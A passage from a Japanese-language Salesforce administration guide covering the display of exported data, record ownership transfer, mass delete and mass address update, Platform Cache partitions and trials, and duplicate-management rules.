Unicode (UTF-16、Big Endian) でエンコードされたエクスポートファイ
ルの表示
エクスポートファイルを、この文字コードをサポートするテキストエディタで開きます。Microsoft Excel はこの
文字コードをサポートしていません。

825

Salesforce からバックアップデータをエクスポートするSalesforce 組織の設定および管理



Unicode (Little Endian) でエンコードされたエクスポートファイルの表
示
1. Microsoft Excel でファイルを開きます。
2. 列 A をクリックして、最初の列全体をハイライトします。
3. [データ] メニューを開き、[列のテキスト] を選択します。
4. [カンマやタブなどの区切り文字によってフィールドごとに区切られたデータ] ラジオボタンを選択し、[次

へ] をクリックします。
5. [区切り文字] で「カンマ」を選択し、[完了] をクリックします。

メモ: カンマを使用しない地域の場合は、タブまたはその他の区切り文字を使用します。データロー
ダの設定 ([設定] | [設定]) で区切り文字を指定します。

6. 各ファイルに対して上記の手順を繰り返します。
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データの所有権の移行
エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

取引先、キャンペーン、
取引先責任者、契約、
リード、およびケースは
Database.com Edition では
使用できません。

契約を使用可能なエディ
ション: Performance
Edition および Developer
Edition と、Sales Cloud が
付属する Professional
Edition、Enterprise
Edition、および Unlimited
Edition
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ユーザ権限

複数の取引先、キャン
ペーン、取引先責任者、
契約、カスタムオブジェ
クトを移行する
• 「所有権の移行」

および

オブジェクト種別に対
する「編集」

複数のリードを移行する
• 「リード所有者の移

行」または「所有権の
移行」

および

リードに対する「編
集」

複数のケースを移行する
• 「ケース所有者の移

行」または「所有権の
移行」

および

ケースに対する「編
集」

レコードの所有者、またはロール階層やテリトリー階層の所有者の上位にある
ユーザは、単一レコードを別のユーザに移行できます。ケース、リード、およ
びキャンペーンなどの一部のオブジェクトでは、共有を使用してレコードを移
行するためのアクセスがユーザに許可されている場合があります。オブジェク
トの種別によっては、レコードを別のユーザに移行する方法が複数ある場合が
あります。

使用可能なオブジェクト方法

取引先、キャンペーン、ケース、取引
先責任者、契約、リード、カスタムオ
ブジェクト

1 つのレコードを移行する

ユーザまたはキューに属することが可
能なケース、リード、カスタムオブ
ジェクト

リストビューからレコードを選択して
[所有者の変更] をクリックすることで
複数のレコードを移行する

取引先、リード、カスタムオブジェク
ト

一括移行ツールを使用して複数のレ
コードを移行する

所有権の変更権限
• 特定のオブジェクトに対する「すべてのデータの編集」権限、または「すべ

ての編集」権限を持つユーザは、レコードの所有者に関係なく任意のレコー
ドを移行できます。

• リストビューから単一レコードまたは複数のレコードを移行するには、新し
い所有者はそのオブジェクト種別に対して少なくとも「参照」権限が必要で
す。このルールは、一括移行ツールを使用する場合は適用されません。

• テリトリー管理を使用していない組織内で任意の単一レコードの所有権を移行するには、適切な「編集」
権限を持ち、操作対象となるレコードの所有者であるか、操作対象となるレコードの所有者より上位のロー
ル階層にいる必要があります。
たとえば、取引先の所有権を移行するには、その取引先に対する「参照」および「編集」アクセス権が必
要です。また、レコードの新しい所有者は取引先に対して少なくとも「参照」権限が必要です。
共有設定が [公開/フルアクセス]と [公開/参照・更新・所有権の移行]の場合、適切な「編集」権限を持つす
べてのユーザに特定の種別のレコードについて所有権の移行を許可するよう設定できます。

• テリトリー管理を使用している組織では、テリトリーに割り当てられているユーザに対し、レコードの所
有者であるかどうかに関係なく組織内のテリトリー間での取引先の移行を有効にすることができます。

• キャンペーンを移行するには、ユーザレコードで [マーケティングユーザ]チェックボックスがオンになっ
ている必要もあります。

ポータル取引先の所有者の変更
• パートナー取引先を移行するには、「ユーザの管理」または「外部ユーザの管理」権限が必要です。
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• カスタマーポータル取引先の所有者が取引先を移行する場合、同位のロールのユーザには特別な権限がな
くても取引先を移行できます。カスタマーポータル取引先を上位または下位のロールを持つユーザに移行
することはできません。

• パートナー取引先は、「外部ユーザの管理」権限を持つユーザにのみ移行できます。
• カスタマーポータルユーザとパートナーポータルユーザの両方がいるポータル取引先を移行するには、

「ユーザの管理」権限が必要です。
• カスタマーポータルユーザを含む取引先を、パートナーユーザである所有者に割り当てることはできませ

ん。

関連トピック:

レコードの一括移行
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レコードの一括移行

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

サービス契約を使用可能
なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

取引先およびリードを使
用できないエディション:
Database.com Edition
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ユーザ権限

取引先およびサービス契
約を一括移行する
• 「所有権の移行」

および

オブジェクト種別に対
する「編集」

および

「リード所有者の移
行」

カスタムオブジェクトを
一括移行する
• 「所有権の移行」

および

オブジェクト種別に対
する「編集」

リードの所有権を一括変
更する
• 「リード所有者の移

行」または「所有権の
移行」

および

リードに対する「編
集」

一括移行ツールを使用して、あるユーザから別のユーザに複数の取引先、リー
ド、サービス契約、およびカスタムオブジェクトを移行します。

メモ: 自分が所有していないレコードを移行するには、そのレコードに対
して、必要なユーザ権限と参照共有アクセス権も必要です。

1. [設定] から、[クイック検索] ボックスに「所有権の一括変更」と入力し、[所
有権の一括変更] を選択します。

2. 所有権を移行するデータの種別に対応するリンクをクリックします。
3. 必要に応じて、[移行元]項目に既存のレコード所有者の名前を入力します。

リードの場合は、移行元をユーザまたはキューにできます。
4. [移行先]項目には、新しいレコード所有者の名前を入力します。リードの場

合は、移行先をユーザまたはキューにできます。
5. 組織でディビジョンを使用する場合に、移行されるすべてのレコードのディ

ビジョンを新しい所有者のデフォルトのディビジョンに設定するには、[ディ
ビジョンを変更...] チェックボックスをオンにします。

6. 取引先の所有権の移行時には、次の操作を実行できます。
• 他のユーザが所有し、その取引先に関連付けられている進行中の商談を

移行するには、[現在の取引先所有者が所有しない進行中の商談も移行] を
選択します。

• その取引先に関連付けられている完了した商談を移行するには、[完了し
た商談も移行]を選択します。このオプションは、取引先所有者が所有す
る完了した商談のみに適用されます。他のユーザが所有する完了した商
談は変更されません。

• 既存の取引先所有者が所有し、その取引先に関連付けられている進行中
のケースを移行するには、[現在の取引先所有者が所有するオープンケース
も移行] を選択します。

• 既存の取引先所有者が所有し、その取引先に関連付けられているクローズしたケースを移行するには、
[クローズしたケースも移行] を選択します。

• その取引先に関連付けられている既存の取引先チームを維持するには、[現在の取引先チームをそのまま
使用する]を選択します。取引先と関連付けられている既存の取引先チームを解除する場合は、[現在の
取引先チームをそのまま使用する] チェックボックスをオフにします。

• この取引先に関連付けられている商談の既存の取引先チームを維持するには、[現在の商談チームをその
まま使用する] を選択します。すべての商談分割が保存され、前の所有者に割り当てられていた分割率
は新しい所有者に移行されます。このチェックボックスがオフになっていると、商談が移行されるとき
に、すべての商談チームメンバーと分割が削除されます。

メモ: 完了した商談を移行する場合、この設定に関係なく、商談チームは維持されます。

7. 移行対象となるレコードが一致する検索条件を入力します。
8. [検索] をクリックします。

831

データの所有権の移行Salesforce 組織の設定および管理



9. 移行するレコードの横にあるチェックボックスをオンにします。必要に応じて、現在表示されているもの
すべてを選択するには列のヘッダーにあるチェックボックスをオンにします。

メモ: 重複するレコードが見つかった場合は、移行するレコードを 1 つだけ選択する必要があります。
重複するレコードを移行すると、エラーになります。
重複するレコードが表示されるのは、[キャンペーンメンバーの状況] に基づいてリードを絞り込み、
一致するリードが複数のキャンペーンについて同じキャンペーンメンバーの状況にある場合です。た
とえば、「キャンペーンメンバーの状況 次の文字列と一致する 送信済み」と条件を指定し、一致した
リード名 John Smith が、2 つのキャンペーンについて状況が「送信済み」であると、このリードレコー
ドが 2 回表示されます。

10. [移行] をクリックします。

関連トピック:

データの所有権の移行

複数のレコードおよびレポートの削除
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

この機能は、
Database.com Edition では
API を介してのみ使用でき
ます。カスタムオブジェ
クトのレコード一括削除
は、Database.com Edition
でのみ実行できます。

ユーザ権限

データを一括して削除す
る
• 「すべてのデータの編

集」

一度に複数のレポートまたはレコードを削除できます。
一括削除できるレコードタイプとして、ケース、ソリューション、取引先、取
引先責任者、リード、商品、活動があります。
一括削除は、次のような状況で便利です。
• 複数のレポートがもう使用されていないことが判明したため、[レポート] タ

ブ上のレポートリストを整理する。
• 組織のリードを誤ってインポートしてしまったため、最初からやり直す。
• 最近組織を離れたユーザの取引先責任者が他のユーザのデータと重複してい

るため、重複した取引先責任者を削除する。
• 組織では以前、リードが [種別] 項目が「見込み客」に設定された取引先と

して入力されていた。これらの取引先をリードに変換する必要がある。

ヒント: これらの取引先のレポートを実行して Excel にエクスポートし、
リードのインポートウィザードを使用してデータをリードとしてイン
ポートします。次に、一括削除を使用して削除するレコードタイプとし
て取引先を選択し、「種別次の文字列と一致する見込み客」と入力し
て削除するすべての取引先を検索します。

• 組織の取引開始済みリードをすべて削除する必要がある。リードレコードタ
イプを選択し、検索条件に「取引開始済み次の文字列と一致する 1」と入力
して、[検索] を選択します。

• 正しく作成されていない Web 生成のリードをクリーンアップしたり、もう取
引していない取引先と取引先責任者を削除したりする。
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1. レポートを実行して情報をアーカイブすることを強くお勧めします。データのウィークリーエクスポート
も実行する必要があります。「Salesforce からバックアップデータをエクスポートする」 (ページ 823)を参照
してください。

2. [設定] から、[クイック検索]ボックスに「一括削除」と入力し、[一括削除]を選択し、削除するレコードの
タイプへのリンクをクリックします。

3. レコードと共に削除される情報を確認します。
4. たとえば、「都道府県」「次の文字列と一致する」「東京都」などとして、選択した項目と一致する検索

条件を指定します。
5. 取引先を削除する場合、その取引先に関連する成立した商談や、関連する他のユーザが所有する商談も削

除するかどうかを指定します。
6. 商品を削除するとき、商談に含まれる商品も削除する場合は [商品をアーカイブする] をオンにします。

次の操作を行う場合はこのオプションをオンにします。
• 商談にない商品をごみ箱に移動して削除します。
• 商談の商品をアーカイブします。それらの商品はごみ箱に移動しないため、復元することはできませ

ん。

7. [検索] を選択して一致するレコードを検索し、削除する項目を選択します。必要に応じて、現在表示され
ているものすべてを選択するには列のヘッダーにあるチェックボックスをオンにします。

8. レコードを完全削除するには、[レコードが永久に削除されます...] をオンにします。

重要: このオプションを選択すると、選択したレコードがごみ箱から元に戻せなくなることに注意し
てください。

9. [削除] をクリックします。

関連トピック:

一括削除の利用に関するメモ
インポートの取り消し
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一括削除の利用に関するメモ
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

この機能は、
Database.com Edition では
API を介してのみ使用でき
ます。カスタムオブジェ
クトのレコード一括削除
は、Database.com Edition
でのみ実行できます。

ユーザ権限

データを一括して削除す
る
• 「すべてのデータの編

集」

一括削除を実行するときは、次の点に留意してください。

一括削除に関する一般的な留意事項
• 1 回に最大 250 件の項目を削除できます。
• レコードを削除する場合は、そのレコードの関連リストに表示される関連す

るレコードすべてが削除されます。
• 一括削除できるのは、公開レポートフォルダに含まれているレポートのみで

す。
• ダッシュボードに添付されたレポート、スケジュール済みレポート、レポー

ト作成スナップショットで使用されているレポートを一括削除することはで
きません。

営業チーム関連の一括削除に関する留意事項
• パートナーユーザのいるパートナー取引先は削除できません。
• 商談の商品は削除できませんが、アーカイブすることはできます。
• 商品を一括削除する場合、削除される商品に関連するすべての価格表エント

リも削除されます。
• 活動を削除する場合、条件に一致するアーカイブ済み活動も削除されます。
• 活動を削除する場合、要請済みミーティングは、確認されて自動的に行動に

変換されるまで一括削除には含まれません。
• 定期的な行動を削除する場合、その子行動は、削除可能な項目のリストには表示されませんが削除されま

す。

サービスチーム関連の一括削除に関する留意事項
• ケースに関連付けられている取引先と取引先責任者は削除できません。
• セルフサービス向けに有効になっている取引先責任者とそれに関連付けられている取引先は削除できませ

ん。
• マスタソリューションを削除しても、それに関連する翻訳ソリューションは削除されません。代わりに、

翻訳ソリューションそれぞれがマスタソリューションとなります。
• 翻訳ソリューションを削除すると、そのマスタソリューションとの関連付けが削除されます。
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住所の一括更新
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

住所を一括して更新する
• 「すべてのデータの編

集」

契約の住所を一括して更
新する
• 「すべてのデータの編

集」

および

「契約の有効化」

データに一貫性があると、レポートおよび関連総計値がより正確で理解しやす
くなります。たとえば、国または都道府県に異なる省略名を使用していると、
データが歪む可能性があります。一貫性のある住所にするため、既存の項目の
国および州/都道府県の情報を一度に更新できます。
住所の一括更新は、取引先責任者、契約、およびリードで可能です。

ヒント: 新しいレコードでデータの一貫性を維持するには、州/国選択リス
トの使用を検討してください。

1. [設定] から、[クイック検索] ボックスに「住所の一括更新」と入力し、[住所
の一括更新] を選択します。

2. [国] または [都道府県] を選択します。[都道府県] を選択した場合は、都道府
県 (州) を更新する国を入力します。

3. [次へ] をクリックします。
4. 更新する値を選択し、[追加]をクリックします。[選択済みの値] ボックスに、

更新する値が表示されます。
[選択可能な値] ボックスには、既存のレコードに見つかった住所値が表示さ
れます。更新する他の住所を見つけるには、値の全部または一部を入力し、
[検索] をクリックします。
多量のデータを持っている組織の場合は、[選択可能な値] ボックスを使用す
るかわりに、既存の値を入力してテキストエリアを更新します。各値を改行
で区切ります。

5. [更新後の値]項目に指定済みの住所データと置き換える値を入力し、[次へ]をクリックします。多量のデー
タがある組織の場合は、この項目は [置換後の値] と表示されます。
更新する住所レコードの数と種別が表示されます。多量のデータがある場合は、更新する値のみが表示さ
れます。

6. [置換] をクリックして値を更新します。

関連トピック:

選択リストからの州と国の選択の許可

FAQ - 拡張性
• Salesforce の拡張規模は?

• Salesforce の登録者規模の増加に伴ってパフォーマンスは低下しませんか?

Salesforce の拡張規模は?
サービスの容量は、チームの最大値に合わせて拡張できます。サービスの基盤構造は、数百万人のユーザを処
理できるように設計されています。お客様の必要に応じたペースで拡張しています。
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Salesforce の登録者規模の増加に伴ってパフォーマンスは低下しませんか?
いいえ。弊社はパフォーマンスを重要視しており、お客様の需要を常に先回りできるように、拡張可能なサー
ビスを設計しています。Web サーバやアプリケーションサーバを簡単に追加できるアーキテクチャを採用し、
より多くのユーザが利用できるように整備しています。また、システムアーキテクチャには、利用ユーザ数に
応じてデータベースサーバを追加することも可能です。さらに、必要に応じて帯域幅を増幅できる施設でサー
ビスを提供しています。

Force.com データのキャッシュ

プラットフォームキャッシュを使用すると、再利用可能なデータをメモリに保存できるため、アプリケーショ
ンの実行時間を短縮できます。アプリケーションはこのデータにすばやくアクセスできるため、後続のトラン
ザクションで計算やデータベースの要求を重複して行う必要がなくなります。
プラットフォームキャッシュを使用するには、まず、[設定] のプラットフォームキャッシュ区分ツールを使用
してパーティションを設定します。パーティションを設定したら、プラットフォームキャッシュ Apex API を使
用してパーティションに対するデータの追加、アクセス、削除ができます。
プラットフォームキャッシュのパーティションを使用して、アプリケーションのパフォーマンスを向上させる
ことができます。パーティションを使用すると、アプリケーションにとって最適な方法でキャッシュ空間を分
配できます。指定されたパーティションにデータをキャッシュすることで、他のアプリケーションや重要度の
低いデータによってデータが上書きされることを回避できます。
[設定] の区分ツールにアクセスするには、[クイック検索] ボックスに「プラットフォームキャッシュ」と入力
して、[プラットフォームキャッシュ] を選択します。
プラットフォームキャッシュ区分ツールは、次の目的に使用します。
• トライアルキャッシュを要求する。
• キャッシュパーティションを作成、編集、または削除する。
• アプリケーション間のパフォーマンスのバランスが取れるように、各パーティションのセッションキャッ

シュ容量と組織キャッシュ容量を割り当てる。
• 組織の現在のキャッシュ容量、内訳、パーティション割り当てのスナップショットを表示する (KB または

MB)。
• 各パーティションに関する詳細を表示する。
• 任意のパーティションをデフォルトパーティションにする。
プラットフォームキャッシュを使用するには、パーティションを少なくとも 1 つ作成します。各パーティショ
ンには、1 つのセッションキャッシュと 1 つの組織キャッシュ区分があり、区分ごとに別個の容量を割り当て
ることができます。セッションキャッシュは、個々のユーザセッションのデータ保存に使用でき、組織キャッ
シュは、組織のユーザがアクセスできるデータに使用されます。任意の数のパーティション間で組織のキャッ
シュ空間を分配できます。セッションキャッシュと組織キャッシュの割り当ては、0 または 5 以上の整数にす
る必要があります。デフォルトパーティションを含むすべてのパーティションの割り当ての合計は、プラット
フォームキャッシュの総割り当てと等しくなります。すべてのキャッシュ区分の合計割り当て容量は、組織全
体の容量以下にする必要があります。

836

Force.com データのキャッシュSalesforce 組織の設定および管理



任意のパーティションをデフォルトパーティションとして定義できますが、使用できるデフォルトパーティ
ションは 1 つのみです。パーティションに割り当てがない場合、キャッシュ操作 (get、put など) は呼び出され
ず、エラーは返されません。
容量の計算は、デフォルトで 5 分ごとに実行されます。その時点で最新の容量と割り当てを表示するには、[再
計算] をクリックします。

プラットフォームキャッシュトライアルの要求
組織でプラットフォームキャッシュを使用してパフォーマンス改善をテストする場合、本番組織のトライ
アルキャッシュを要求できます。Enterprise Edition、Unlimited Edition、および Performance Edition には一定のキャッ
シュが含まれていますが、多くの場合キャッシュを追加するとパフォーマンスが向上します。トライアル
要求が承認されたら、容量をパーティションに割り当てて、さまざまなシナリオでキャッシュの使用を試
すことができます。キャッシュを試験的に使用することで、キャッシュを購入すべきかどうかを十分な情
報に基づいて決定できます。
プラットフォームキャッシュの購入
プラットフォームキャッシュ空間を購入して、アプリケーションのパフォーマンスを向上させることがで
きます。

関連トピック:

Apex 開発者ガイド

プラットフォームキャッシュトライアルの要求
組織でプラットフォームキャッシュを使用してパフォーマンス改善をテストする場合、本番組織のトライアル
キャッシュを要求できます。Enterprise Edition、Unlimited Edition、および Performance Edition には一定のキャッシュ
が含まれていますが、多くの場合キャッシュを追加するとパフォーマンスが向上します。トライアル要求が承
認されたら、容量をパーティションに割り当てて、さまざまなシナリオでキャッシュの使用を試すことができ
ます。キャッシュを試験的に使用することで、キャッシュを購入すべきかどうかを十分な情報に基づいて決定
できます。
通常、トライアルキャッシュ要求は 3 日で承認されます。要求が承認されると、30 MB のトライアルキャッシュ
空間が提供されます (Developer Edition の場合は 10 MB)。より多くのトライアルキャッシュ空間が必要な場合は、
Salesforce にお問い合わせください。

メモ: トライアルキャッシュ要求は最大 10 回行うことができ、次の要求を行う前に 90 日間待機する必要
があります。

トライアルキャッシュを要求した後に、次のタイミングでメールが送信されます。
有効化時

この時点で容量をパーティションに割り当てて、組織でトライアルキャッシュをテストできます。
有効期限の 3 日前

有効期限が切れる前に、パーティションを再構成して、追加したトライアル空間の割り当てを解除してく
ださい。

有効期限切れ時
トライアルキャッシュが組織から削除されます。
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メモ: 割り当て解除した空間が不十分な場合、提供されたトライアルキャッシュ空間を削除するために
パーティションサイズが削減されます。

Developer Edition 組織
Developer Edition 組織用のトライアルキャッシュを要求できます。組織にサインアップしたら、プラットフォー
ムキャッシュ区分ツールにトライアルキャッシュを要求します。Developer Edition 組織を使用して管理パッケー
ジを作成している ISV は、最大 2 つの Developer Edition 組織用の 10 MB のトライアルキャッシュを取得できます。
ISV が Developer Edition 組織のトライアルキャッシュを取得するには、Salesforce担当者にお問い合わせください。

キャッシュ削減アルゴリズム
トライアル期間の終了時、Salesforceが、提供したトライアルキャッシュ空間を組織から削除します。トライア
ルが終了する前に、必ずトライアルキャッシュ空間を割り当て解除してください。空間を割り当て解除するに
は、プラットフォームキャッシュ区分ツールからパーティション割り当てをリセットします。キャッシュ空間
が割り当て解除されないと、Salesforce が次のプロセスで提供したキャッシュを削除します。
• システムは、最初にデフォルト以外の最小のパーティションからキャッシュを削除します。

メモ:  1 つのパーティションのサイズは、そのパーティションの割り当て合計になります。これには、
組織全体のキャッシュと名前空間固有のキャッシュが含まれます。

• 次に、システムは、サイズの小さいものから順にパーティションを処理していきます。同じサイズのパー
ティションが複数ある場合、これらのパーティションから均等にキャッシュを削除します。

• システムは、パーティションを最小サイズの 5 MB まで削減します。ただし、削除できるトライアルキャッ
シュ空間がなくなった場合は異なります。この場合、パーティションは 0 MB まで削減されます。

• デフォルトのパーティション (存在する場合) は、他のすべてのパーティションに削除できるトライアル
キャッシュ空間がなくなった場合にのみ、最後に削減されます。

未割り当て空間がある場合は、次のようになります。
• 未割り当て空間の容量が、削除が必要な空間の容量よりも大きい場合、システムは未割り当て空間のみ削

除します。
• 未割り当て空間の容量が、削除が必要な空間の容量よりも小さい場合、システムは最初に未割り当て空間

を削除します。次に、システムはキャッシュ削減プロセスに従って残りの容量を削除します。

関連トピック:

Force.com データのキャッシュ

プラットフォームキャッシュの購入
プラットフォームキャッシュ空間を購入して、アプリケーションのパフォーマンスを向上させることができま
す。
プラットフォームキャッシュは、Enterprise Edition 組織以上のお客様が使用できます。次のエディションにはデ
フォルトのキャッシュ空間が付属しますが、多くの場合、キャッシュを追加することでパフォーマンスがさら
に向上します。
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• Enterprise Edition (デフォルトで 10 MB)

• Unlimited Edition (デフォルトで 30 MB)

• Performance Edition (デフォルトで 30 MB)

アプリケーションに効果のあるキャッシュの量を判別するために、トライアルキャッシュを要求して組織で試
すことができます。特に次の場合は、プラットフォームキャッシュによるパフォーマンス向上が期待できま
す。
• 多くの Apex カスタマイズが行われている組織
• 同時ユーザ数の多い組織
• 複雑な計算やクエリを行う組織やアプリケーション
また、ISV はキャッシュを購入して、お客様に提供するアプリケーションで使用できます。
キャッシュ空間は、10 MB ブロック単位の年間契約で販売されます。プラットフォームキャッシュを購入する
には、Salesforce の担当者までお問い合わせください。

関連トピック:

Force.com データのキャッシュ

Salesforce での重複レコードの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

クリーンで正確なデータの保持は、Salesforce を最大限に活用するための最重要
の処理の 1 つです。Data.com 重複管理を使用して、Salesforce でユーザが重複レ
コードを作成できるかどうか、いつ作成できるかの制御、重複レコードの特定
に使用するロジックのカスタマイズ、ユーザが保存する重複レコードに関する
レポートの作成を行います。

メモ: 重複管理ではData.comテクノロジを使用していますが、Data.comライ
センスは必要ありません。

法人取引先、取引先責任者、リードの重複管理機能は、デフォルトで設定され
ていて有効になっています。個人取引先の重複管理を使用するには、[設定] で個
人取引先を有効にして個人取引先の一致ルールと重複ルールを有効化します。
重複管理のしくみを次に示します。
• ユーザが新しいレコードを保存しようとすると、まず、レコードが既存の Salesforce レコードと比較され、

重複候補が特定されます (1)。レコードの比較および重複候補の特定に使用される条件は、一致ルールで定
義されます。次に、重複候補のリストが返されます (2)。保存中のレコードが重複候補と特定された場合の
処理は、重複ルールの定義によって異なります (3)。たとえば、重複ルールを使用して、重複する可能性が
あるレコードをユーザが保存するのをブロックしたり、ひとまず保存を許可したりできます。ブロックオ
プションと許可オプションのどちらにもアラートが含まれており、レコードを保存できない理由と必要な
操作がユーザに示されます。許可オプションには、重複レコードに関するレポートを作成する機能が含ま
れています。

• ユーザが編集済みのレコードを保存しようとすると、ユーザが一致ルール項目の値を変更したかどうかが
レコードで確認されます。変更した場合は、新しいレコードの重複管理プロセスが動作します。そうでな
い場合は、他のアクションは実行されず、重複は検出されません。
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重複管理の使用に関する考慮事項
重複ルール、一致ルール、および重複レコードセットの使用に関するいくつかの考慮事項を次に挙げます。
重複管理の概念
Data.com 重複管理を効果的に設定するには、いくつかの主要な概念を理解することが重要です。
Salesforce での重複管理の設定
重複管理を組織で使用するには、異なる 2 つのルール、重複ルールと一致ルールが必要です。重複ルール
では、重複が識別されたときにどのようなアクションを実行するのかを Salesforce に伝えます。一致ルール
では、重複候補を識別するためのレコードの相互比較方法を定義します。必要に応じて、重複レコードを
表示するオプションを調整してください。重複レコードのレポートを生成できます。
一致ルールの参照
ここでは、一致ルールのしくみとその使用方法について説明します。
重複ルールの参照
重複ルールのしくみとその使用方法を理解するのに役立つ追加情報を示します。
重複管理の FAQ

Data.com 重複管理に関するよくある質問への回答が記載されています。
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重複管理の使用に関する考慮事項
重複ルール、一致ルール、および重複レコードセットの使用に関するいくつかの考慮事項を次に挙げます。

重複ルールに関する考慮事項
• 重複ルールは、法人取引先、個人取引先、取引先責任者、リード、およびカスタムオブジェクトに使用で

きます。
• 重複ルールは、次の場合には実行されません。

– 簡易作成またはコミュニティセルフ登録を使用してレコードを作成した場合
– リードが取引先または取引先責任者に変換され、さらに組織に「Apex リード変換の使用」権限がない場

合
– [復元] ボタンを使用してレコードを復元した場合
– Lightning Sync を使用してレコードを追加した場合
– レコードを手動でマージした場合
– セルフサービスユーザがレコードを作成し、ユーザオブジェクトに基づく条件がルールに含まれている

場合
– 参照関係項目に重複ルールの条件が設定され、これらの項目に値のないレコードが保存されている場

合。たとえば、[Campaign (キャンペーン)] DOES NOT CONTAIN ‘Salesforce’の場合にのみ重複
ルールを実行するよう指定する条件があるとします。この場合、[キャンペーン]項目に値のないレコー
ドを追加しても、重複ルールは実行されません。

• 場合によっては、重複の検出時にアラートを表示するように重複ルールが設定されているときに、ユーザ
によるレコードの保存が常にブロックされ、重複のリストが表示されないことがあります。この状況は、
次の場合に発生します。
– データインポートツールを使用してレコードを追加した場合
– 個人取引先を法人取引先に変換した場合 (さらに、新たに作成された法人取引先が既存の法人取引先と

一致した場合)

– Salesforce API を使用してレコードを追加または編集した場合
• 複数のレコードを一度に保存する場合に重複ルールが [ブロック] または [アラート] に設定されている

と、同じ保存内のレコードが互いに比較されず、Salesforceにすでに存在するレコードとのみ比較されます。
この動作は「レポート」アクションには影響せず、同じ保存内で他のレコードと一致したレコードが重複
レコードセットに含まれます。

• クロスオブジェクト重複ルールで使用される一致ルールにカスタム選択リストが含まれている場合、カス
タム選択リストはサポートされません。

• トランスレーションワークベンチでは、重複ルールのカスタマイズ可能なアラートテキストはサポートさ
れていません。

• オブジェクトあたり最大 5 つの有効な重複ルールが許可されます。
• 重複ルールあたり最大 3 つの一致ルールが許可され、一致ルールはそれぞれオブジェクトが異なる必要が

あります。
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• 法人取引先、取引先責任者、リードでは、重複管理機能がデフォルトで有効です。個人取引先で重複管理
機能を使用するには、個人取引先を有効にしてから、[設定] で標準的な個人取引先の一致ルールと重複ルー
ルを有効にします。新規組織では、サポート対象オブジェクトごとに標準的な重複ルールが導入されます。
重複ルールはそれぞれ一致ルールに関連付けられます。これらのルールを無効にすることも、カスタムルー
ルを作成することもできます。

一致ルールに関する考慮事項
• 一致ルールは、法人取引先、個人取引先、取引先責任者、リード、およびカスタムオブジェクトに使用で

きます。
• あいまい一致メソッドを使用する標準およびカスタムの一致ルールでは、ラテン文字のみがサポートされ

ています。国際データを使用している場合は、一致ルールに完全一致メソッドを使用することをお勧めし
ます。

• 参照項目の値が個人取引先であり、一致ルールが取引先責任者の参照項目に基づいている場合、一致ルー
ルは適用されません。ルックアップ検索条件で個人取引先を除外するように設定しない限り、取引先責任
者オブジェクトの [上司] を除くすべての取引先責任者参照項目には、取引先責任者と個人取引先が両方
とも含まれます。個人取引先の値を照合するには、代わりに取引先参照項目を使用してください。

• マスタとして選択したレコードが、階層内で選択した別の重複の下にある場合は、マージを完了できませ
ん。別のマスタを選択するか、いずれかのレコードで [親取引先] または [上司] の値を編集してくださ
い。

• オブジェクトの項目が組織で使用できなくなった場合は、その項目への対応付けを含む一致ルールが無視
され、重複の検出に影響する可能性があります。組織で使用できる項目に変更があった場合は、そのオブ
ジェクトのすべての重複ルール項目の対応付けを確認してください。たとえば、[クリーンアップ状況] 項
目は Data.com ライセンスを所有するユーザのみが使用できます。組織の Data.com ライセンスが失われた場
合、この項目は使用できなくなり、この項目への対応付けを含む一致ルールは無視されます。

• 一致ルールあたりに許可される参照関係項目は 1 つのみです。
• オブジェクトあたり最大 5 つの有効な一致ルールが許可されます。
• 合計で最大 25 の有効な一致ルールが許可されます。
• 合計で最大 100 の一致ルールが許可されます (有効と無効の両方)。
• 一度に最大 5 つの一致ルールを有効化または無効化できます。
• プラットフォームの暗号化が設定された項目を含む一致ルールは、重複を検出しません。組織でプラット

フォームの暗号化を有効にしている場合は、一致ルールに暗号化項目が含まれていないことを確認します。

重複レコードセットに関する考慮事項
• デフォルトでは、重複レコードセットはシステム管理者にのみ表示されますが、システム管理者は他のユー

ザに表示権限を付与できます。
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• リードが重複として識別され、重複レコードセットの作成前に取引開始された場合、この取引開始済みの
リードは重複セットに含まれません。

関連トピック:

重複ルール
重複する取引先のマージに関するガイドラインおよび考慮事項
重複する取引先責任者のマージに関する考慮事項

重複管理の概念
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Data.com重複管理を効果的に設定するには、いくつかの主要な概念を理解するこ
とが重要です。

重複ルール
重複ルールは、Salesforce 内に重複レコードを保存することを許可するかどう
か、および許可する条件を制御するために使用されます。
一致ルール
一致ルールは、Salesforce 内で重複レコードを特定するために使用します。
重複レコードセット
[重複レコードセット] タブをクリックして、重複セットにグループ化された
重複レコードのリストをすばやく確認します。そのためには、重複ルールを
含むレポートアクションを組織で使用する必要があります。
重複エラーログ
組織で Data.com 重複管理を使用している場合、重複ルールまたは一致ルールの正常な実行を妨げているシ
ステムエラーを参照できます。
重複管理のユーザへの影響
Salesforce で重複管理機能を設定して有効にした場合、重複候補として識別されたレコードにデータを入力
するか、そのレコードを保存しようとすると、次のように表示されます。

重複ルール

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

重複ルールは、Salesforce内に重複レコードを保存することを許可するかどうか、
および許可する条件を制御するために使用されます。
重複レコードを作成しようとすると、重複ルールにより、実行するアクション
が Salesforce に通知されます。各重複ルールには、既存のどのレコードが重複候
補であるかを識別する一致ルールが少なくとも 1 つ必要です。
レコードの作成時および編集時にアクションを実行する重複ルールを設定でき
